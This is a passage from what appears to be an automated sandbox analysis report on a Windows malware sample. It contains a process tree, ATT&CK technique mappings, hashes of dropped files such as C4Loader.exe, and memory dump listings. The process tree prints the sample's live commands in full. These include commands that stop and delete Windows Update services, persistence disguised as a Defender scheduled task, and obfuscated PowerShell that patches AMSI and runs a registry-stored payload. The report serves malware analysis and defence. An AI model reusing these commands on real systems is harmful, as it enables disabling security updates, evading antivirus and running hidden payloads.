- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3204
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:544
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4984
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1676
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4280
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:648
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:1660
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:1928
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:4308
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:4032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4972
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3844

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3576 -ip 3576
1⤵
PID:5044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3576 -ip 3576
1⤵
PID:4236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3576 -ip 3576
1⤵
PID:4732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4692 -ip 4692
1⤵
PID:2504

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:dGSCpnemYtFR{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$TilWmCipzrlAyZ,[Parameter(Position=1)][Type]$iJXHyVTZWW)$HNUszAIFSrl=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+'f'+''+'l'+'e'+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+[Char](77)+''+'o'+'d'+'u'+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+''+'T'+''+[Char](121)+'p'+'e'+'',''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'bl'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+'ea'+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+[Char](115)+'i'+'C'+''+'l'+''+[Char](97)+''+'s'+'s'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+'oC'+[Char](108)+'a'+[Char](115)+'s',[MulticastDelegate]);$HNUszAIFSrl.DefineConstructor('R'+'T'+''+[Char](83)+'p'+[Char](101)+'ci'+'a'+''+[Char](108)+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+'Hi'+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$TilWmCipzrlAyZ).SetImplementationFlags(''+'R'+''+[Char](117)+'nti'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');$HNUszAIFSrl.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+'k'+[Char](101)+'',''+[Char](80)+'u'+[Char](98)+''+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+'N'+'e'+''+'w'+''+'S'+''+[Char](108)+'o'+[Char](116)+',V'+'i'+''+[Char](114)+''+'t'+''+[Char](117)+''+[Char](97)+'l',$iJXHyVTZWW,$TilWmCipzrlAyZ).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+'ti'+[Char](109)+''+'e'+''+','+''+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $HNUszAIFSrl.CreateType();}$EcQxZYBsXqkbn=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+'y'+'s'+[Char](116)+'em'+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+'r'+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+'.'+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+'e'+''+[Char](69)+''+[Char](99)+''+[Char](81)+''+[Char](120)+''+[Char](90)+'Y'+[Char](66)+''+'s'+''+[Char](88)+''+[Char](113)+''+[Char](107)+''+[Char](98)+'n');$bwoCmGPBpyolpd=$EcQxZYBsXqkbn.GetMethod(''+'b'+'w'+[Char](111)+'Cm'+'G'+''+[Char](80)+'Bp'+[Char](121)+''+[Char](111)+''+[Char](108)+'p'+[Char](100)+'',[Reflection.BindingFlags]''+'P'+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+','+[Char](83)+''+'t'+''+[Char](97)+''+'t'+''+'i'+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ZKJgizzfaGsBJZoGyPj=dGSCpnemYtFR @([String])([IntPtr]);$oDkIRXxoaHZMsRJBKLtGsu=dGSCpnemYtFR @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FFsDNZgcOTI=$EcQxZYBsXqkbn.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+'Mo'+'d'+'u'+[Char](108)+'e'+[Char](72)+''+'a'+''+[Char](110)+''+[Char](100)+''+'l'+''+'e'+'').Invoke($Null,@([Object](''+'k'+'er'+'n'+''+[Char](101)+''+[Char](108)+'32'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$UKtwKKmwvTAHca=$bwoCmGPBpyolpd.Invoke($Null,@([Object]$FFsDNZgcOTI,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+'a'+''+[Char](114)+'y'+'A'+'')));$NfuMAvVOdRWrrnryL=$bwoCmGPBpyolpd.Invoke($Null,@([Object]$FFsDNZgcOTI,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+''+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+''+'e'+''+'c'+''+[Char](116)+'')));$YvRdhtJ=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UKtwKKmwvTAHca,$ZKJgizzfaGsBJZoGyPj).Invoke('a'+[Char](109)+''+[Char](115)+'i'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'');$tscozUFZqzKZKjwkX=$bwoCmGPBpyolpd.Invoke($Null,@([Object]$YvRdhtJ,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+'r')));$OjNdjEACkb=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NfuMAvVOdRWrrnryL,$oDkIRXxoaHZMsRJBKLtGsu).Invoke($tscozUFZqzKZKjwkX,[uint32]8,4,[ref]$OjNdjEACkb);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$tscozUFZqzKZKjwkX,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NfuMAvVOdRWrrnryL,$oDkIRXxoaHZMsRJBKLtGsu).Invoke($tscozUFZqzKZKjwkX,[uint32]8,0x20,[ref]$OjNdjEACkb);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+'T'+''+'W'+''+'A'+''+'R'+'E').GetValue('d'+[Char](105)+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+[Char](115)+'t'+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KnTRhvoBZlQI{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$AsHqYELRCbiHOe,[Parameter(Position=1)][Type]$WVAFOJCvMO)$kUpPbTxwRaJ=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+'f'+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+''+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+'y'+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType('My'+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+'t'+'e'+[Char](84)+''+[Char](121)+''+'p'+''+'e'+'',''+[Char](67)+''+[Char](108)+'a'+'s'+''+[Char](115)+',P'+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+''+'e'+''+[Char](100)+''+','+''+'A'+'n'+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+''+'A'+''+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+'ss',[MulticastDelegate]);$kUpPbTxwRaJ.DefineConstructor(''+[Char](82)+''+'T'+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+'N'+[Char](97)+'m'+[Char](101)+''+[Char](44)+''+[Char](72)+'id'+[Char](101)+''+[Char](66)+'yS'+[Char](105)+''+'g'+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$AsHqYELRCbiHOe).SetImplementationFlags('R'+[Char](117)+''+'n'+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+'a'+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+'d');$kUpPbTxwRaJ.DefineMethod(''+[Char](73)+'nvo'+[Char](107)+''+[Char](101)+'',''+[Char](80)+'ubl'+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+''+'w'+'S'+'l'+'o'+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+'ua'+[Char](108)+'',$WVAFOJCvMO,$AsHqYELRCbiHOe).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+''+'m'+'e'+','+''+[Char](77)+''+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $kUpPbTxwRaJ.CreateType();}$hkVGxsRCvWfEK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'s'+[Char](116)+'e'+[Char](109)+''+'.'+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+'o'+[Char](102)+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n3'+[Char](50)+''+'.'+'U'+[Char](110)+''+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+'h'+''+[Char](107)+''+[Char](86)+''+[Char](71)+''+[Char](120)+''+'s'+''+[Char](82)+''+[Char](67)+'v'+'W'+''+[Char](102)+''+[Char](69)+''+'K'+'');$SjPYNVHEUdjTDu=$hkVGxsRCvWfEK.GetMethod(''+'S'+''+[Char](106)+''+'P'+''+[Char](89)+'NVH'+[Char](69)+''+[Char](85)+'d'+[Char](106)+''+'T'+''+[Char](68)+''+'u'+'',[Reflection.BindingFlags]'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+'c,'+[Char](83)+''+'t'+''+'a'+''+'t'+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RvpkgrPvicMBxXyAlGN=KnTRhvoBZlQI @([String])([IntPtr]);$qGLejpLRcnsNjbicomptTu=KnTRhvoBZlQI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$cQvuTYmpalZ=$hkVGxsRCvWfEK.GetMethod('G'+[Char](101)+''+'t'+'M'+'o'+''+'d'+''+'u'+''+[Char](108)+''+[Char](101)+'H'+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+''+[Char](110)+''+'e'+'l3'+[Char](50)+''+'.'+''+[Char](100)+'ll')));$YNgArAFlMPorjU=$SjPYNVHEUdjTDu.Invoke($Null,@([Object]$cQvuTYmpalZ,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+[Char](76)+'i'+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+''+[Char](65)+'')));$xvIqRqgqDflHaHqxn=$SjPYNVHEUdjTDu.Invoke($Null,@([Object]$cQvuTYmpalZ,[Object]('V'+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+'l'+'P'+[Char](114)+''+[Char](111)+''+[Char](116)+'e'+'c'+''+'t'+'')));$LnHlERh=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YNgArAFlMPorjU,$RvpkgrPvicMBxXyAlGN).Invoke(''+'a'+'m'+'s'+''+'i'+'.'+'d'+''+[Char](108)+''+'l'+'');$XkggMzyefYGwaYDuN=$SjPYNVHEUdjTDu.Invoke($Null,@([Object]$LnHlERh,[Object]('Am'+'s'+''+[Char](105)+''+[Char](83)+'c'+[Char](97)+''+[Char](110)+'B'+[Char](117)+'f'+[Char](102)+'e'+[Char](114)+'')));$kByVElCBpi=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xvIqRqgqDflHaHqxn,$qGLejpLRcnsNjbicomptTu).Invoke($XkggMzyefYGwaYDuN,[uint32]8,4,[ref]$kByVElCBpi);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$XkggMzyefYGwaYDuN,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xvIqRqgqDflHaHqxn,$qGLejpLRcnsNjbicomptTu).Invoke($XkggMzyefYGwaYDuN,[uint32]8,0x20,[ref]$kByVElCBpi);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'F'+[Char](84)+'W'+[Char](65)+'R'+[Char](69)+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+'le'+[Char](114)+''+[Char](115)+''+'t'+''+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1192

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
64cec631a82f9a5c7172c4b197a36cbd

SHA1
ab5fd498f9e9ff18b96a3e6eb3b14199b2641f37

SHA256
615d771aa92d326b4ea5e314376ceaba2320132039c94f1711e909b7cd618cc7

SHA512
6a7ddfe91cd1b1867770026ca6737df32173f84028b5b72ccdef1b102b34340f663cf0e732fca0490d53589d3d0089ebdc37144aee09040a6ef8b853b4937dcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
a7ce8cefc3f798abe5abd683d0ef26dd

SHA1
b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e

SHA256
5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a

SHA512
c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

Filesize
1.4MB

MD5
bb86a343080f9f4696c250ef31a18d9d

SHA1
43b2193dcb1d56eac73ba88a7b461822074192d6

SHA256
095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

SHA512
24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

Filesize
3.7MB

MD5
f5c51e7760315ad0f0238d268c03c60e

SHA1
85ebaaa9685634143a72bc82c6e7df87a78eed4c

SHA256
ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

SHA512
d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\SysApp.exe

Filesize
1.4MB

MD5
b6bbab9f72c88d07b484cc339c475e75

SHA1
f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

SHA256
dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

SHA512
1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
C:\Users\Admin\AppData\Local\Temp\new2.exe

Filesize
674KB

MD5
e479ecb1802253a4c94767c8af306baf

SHA1
846bb5d88b91b8aa17bdb58eaf246b10e6586402

SHA256
b9bfdd7d9a090da9ceaf2d4df414e8fd212a048692b5d90cec81d4e1b1918679

SHA512
b42458e3c4b0d8833092323e2f8e2afac015822ac8a7cffbc41c930d61f32b77a6d37bb3b480a5aa538090fe2492dd124732280b4fa0a0c0f2c8cfe9d2d52373

Download Submit
memory/1100-185-0x0000000002205000-0x0000000002709000-memory.dmp

Filesize
5.0MB

Download
memory/1100-173-0x0000000002205000-0x0000000002709000-memory.dmp

Filesize
5.0MB

Download
memory/1100-174-0x0000000002717000-0x0000000002854000-memory.dmp

Filesize
1.2MB

Download
memory/1100-187-0x0000000002717000-0x0000000002854000-memory.dmp

Filesize
1.2MB

Download
memory/1192-215-0x00007FFC850D0000-0x00007FFC852C5000-memory.dmp

Filesize
2.0MB

Download
memory/1192-209-0x00007FFC657C0000-0x00007FFC66281000-memory.dmp

Filesize
10.8MB

Download
memory/1192-213-0x00007FFC850D0000-0x00007FFC852C5000-memory.dmp

Filesize
2.0MB

Download
memory/1192-214-0x00007FFC83A30000-0x00007FFC83AEE000-memory.dmp

Filesize
760KB

Download
memory/1192-221-0x00007FFC657C0000-0x00007FFC66281000-memory.dmp

Filesize
10.8MB

Download
memory/1192-219-0x00007FFC83A30000-0x00007FFC83AEE000-memory.dmp

Filesize
760KB

Download
memory/1192-220-0x00007FFC850D0000-0x00007FFC852C5000-memory.dmp

Filesize
2.0MB

Download
memory/1732-190-0x00007FFC65560000-0x00007FFC66021000-memory.dmp

Filesize
10.8MB

Download
memory/1732-186-0x000001CFF08D0000-0x000001CFF08F2000-memory.dmp

Filesize
136KB

Download
memory/1732-189-0x00007FFC65560000-0x00007FFC66021000-memory.dmp

Filesize
10.8MB

Download
memory/1944-216-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1944-226-0x00007FFC850D0000-0x00007FFC852C5000-memory.dmp

Filesize
2.0MB

Download
memory/1944-222-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1944-225-0x0000000140000000-0x0000000140029000-memory.dmp

Filesize
164KB

Download
memory/1944-223-0x00007FFC850D0000-0x00007FFC852C5000-memory.dmp

Filesize
2.0MB

Download
memory/1944-224-0x00007FFC83A30000-0x00007FFC83AEE000-memory.dmp

Filesize
760KB

Download
memory/2016-169-0x00000000053E0000-0x0000000005472000-memory.dmp

Filesize
584KB

Download
memory/2016-172-0x0000000005850000-0x000000000585A000-memory.dmp

Filesize
40KB

Download
memory/2016-165-0x0000000000930000-0x0000000000A9C000-memory.dmp

Filesize
1.4MB

Download
memory/3544-212-0x0000000007AA0000-0x0000000007FCC000-memory.dmp

Filesize
5.2MB

Download
memory/3544-184-0x0000000001A40000-0x0000000001A7C000-memory.dmp

Filesize
240KB

Download
memory/3544-183-0x0000000005880000-0x000000000598A000-memory.dmp

Filesize
1.0MB

Download
memory/3544-182-0x00000000019E0000-0x00000000019F2000-memory.dmp

Filesize
72KB

Download
memory/3544-181-0x0000000005D90000-0x00000000063A8000-memory.dmp

Filesize
6.1MB

Download
memory/3544-176-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3544-210-0x0000000007180000-0x00000000071D0000-memory.dmp

Filesize
320KB

Download
memory/3544-199-0x0000000005D60000-0x0000000005D7E000-memory.dmp

Filesize
120KB

Download
memory/3544-211-0x00000000073A0000-0x0000000007562000-memory.dmp

Filesize
1.8MB

Download
memory/3544-197-0x0000000005CA0000-0x0000000005D16000-memory.dmp

Filesize
472KB

Download
memory/4032-133-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4032-139-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4840-151-0x0000000007110000-0x000000000712A000-memory.dmp

Filesize
104KB

Download
memory/4840-148-0x0000000075130000-0x000000007517C000-memory.dmp

Filesize
304KB

Download
memory/4840-158-0x0000000008380000-0x0000000008924000-memory.dmp

Filesize
5.6MB

Download
memory/4840-156-0x0000000007380000-0x0000000007388000-memory.dmp

Filesize
32KB

Download
memory/4840-155-0x0000000007390000-0x00000000073AA000-memory.dmp

Filesize
104KB

Download
memory/4840-154-0x0000000007340000-0x000000000734E000-memory.dmp

Filesize
56KB

Download
memory/4840-153-0x00000000073D0000-0x0000000007466000-memory.dmp

Filesize
600KB

Download
memory/4840-152-0x0000000007180000-0x000000000718A000-memory.dmp

Filesize
40KB

Download
memory/4840-150-0x0000000007750000-0x0000000007DCA000-memory.dmp

Filesize
6.5MB

Download
memory/4840-149-0x00000000063B0000-0x00000000063CE000-memory.dmp

Filesize
120KB

Download
memory/4840-157-0x00000000074A0000-0x00000000074C2000-memory.dmp

Filesize
136KB

Download
memory/4840-147-0x00000000063D0000-0x0000000006402000-memory.dmp

Filesize
200KB

Download
memory/4840-146-0x0000000005DF0000-0x0000000005E0E000-memory.dmp

Filesize
120KB

Download
memory/4840-145-0x00000000057A0000-0x0000000005806000-memory.dmp

Filesize
408KB

Download
memory/4840-144-0x0000000005730000-0x0000000005796000-memory.dmp

Filesize
408KB

Download
memory/4840-143-0x0000000004D20000-0x0000000004D42000-memory.dmp

Filesize
136KB

Download
memory/4840-142-0x0000000004F10000-0x0000000005538000-memory.dmp

Filesize
6.2MB

Download
memory/4840-141-0x0000000004830000-0x0000000004866000-memory.dmp

Filesize
216KB

Download
memory/4972-202-0x00007FFC655C0000-0x00007FFC66081000-memory.dmp

Filesize
10.8MB

Download
memory/4972-206-0x00007FFC655C0000-0x00007FFC66081000-memory.dmp

Filesize
10.8MB

Download